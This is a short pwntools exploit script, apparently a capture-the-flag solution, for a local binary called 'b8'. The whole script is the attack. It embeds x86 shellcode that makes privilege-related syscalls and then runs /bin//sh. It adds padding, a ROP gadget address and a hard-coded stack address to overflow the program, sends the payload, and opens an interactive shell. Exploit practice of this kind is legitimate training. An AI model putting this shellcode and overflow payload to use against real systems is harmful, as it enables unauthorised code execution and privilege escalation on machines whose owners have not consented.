#Import pwntools
from pwn import *

#Star the target Process
target = process("./b8")

#Read first line of text
print target.recvline()

#Store shellcode in variab;e
shellcode = "\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"

#Construct padding
offset = "1"*22

#Declare ROP gadget
ROP = p32(0x08048316)

#Declare address of our shellcode
adr = p32(0xffffd024)

#Construct the payload
payload = shellcode + offset + ROP + adr

#Write the payload to a file for gdb purposes
p = open("in", "w")
p.write(payload)

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
